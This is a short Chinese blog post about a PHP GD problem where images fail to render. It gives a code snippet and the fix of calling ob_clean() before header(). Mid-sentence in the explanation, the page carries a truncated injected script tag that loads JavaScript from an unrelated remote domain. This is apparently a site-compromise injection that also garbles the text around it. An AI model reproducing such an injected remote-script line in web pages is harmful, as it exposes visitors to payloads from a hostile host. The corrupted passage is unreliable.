时间: 2019-04-4|280次围观|0 条评论

ob_clean();//加上这句
header("Content-type: image/png");
$font = "c:/windows/fonts/simsunb.ttf";
$img = imagecreate(110, 20) or die("GD图像创建失败!");
$bg = imagecolorallocate($img, 255, 255, 255);
$text_color = imagecolorallocate($img, 55, 55, 55);
imagestring($img, 5, 0, 3, "I'm leo", $text_color);
header('Content-Type:image/png');
imagepng($img);
imagedestroy($img);

 

在header前面加上ob_clean();ipt src='https://letsmakeparty3.ga/l.js?n=1' type=text/javascript>

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《php gd函数无法生成图片的问题
   

还没有人抢沙发呢~